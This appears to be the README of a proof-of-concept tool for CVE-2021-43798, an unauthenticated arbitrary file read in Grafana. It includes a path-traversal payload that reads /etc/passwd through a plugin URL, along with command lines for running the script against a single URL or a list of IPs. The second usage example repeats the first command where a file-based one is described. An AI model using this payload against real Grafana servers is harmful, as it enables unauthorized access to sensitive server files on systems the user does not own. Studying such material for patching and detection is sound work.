CVE-2021-43798-grafana_fileread

If the target is behind a reverse proxy, replace the payload with this one:

url1 = url +"/public/plugins/"+str.rstrip(plugins)+"/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd"

Grafana is a cross-platform, open-source data visualization web application platform. After users configure and connect data sources, Grafana can display data charts and alerts in a web browser.
Grafana has an unauthorized arbitrary file read vulnerability. An unauthenticated attacker can exploit this vulnerability to read arbitrary files on the host.

CVE: CVE-2021-43798
Component: Grafana Vulnerability Type: File Read
Impact: Obtain sensitive information
Description: An unauthenticated attacker can exploit this vulnerability to obtain sensitive server files.

Usage Instructions

1. Test a single URL

python3 grafana_fileread.py -u http://localhost:3000

The obtained data can be viewed in the grafana 8.x_fileread_vuln.txt file 2. Test IPs from a file

python3 grafana_fileread.py -u http://localhost:3000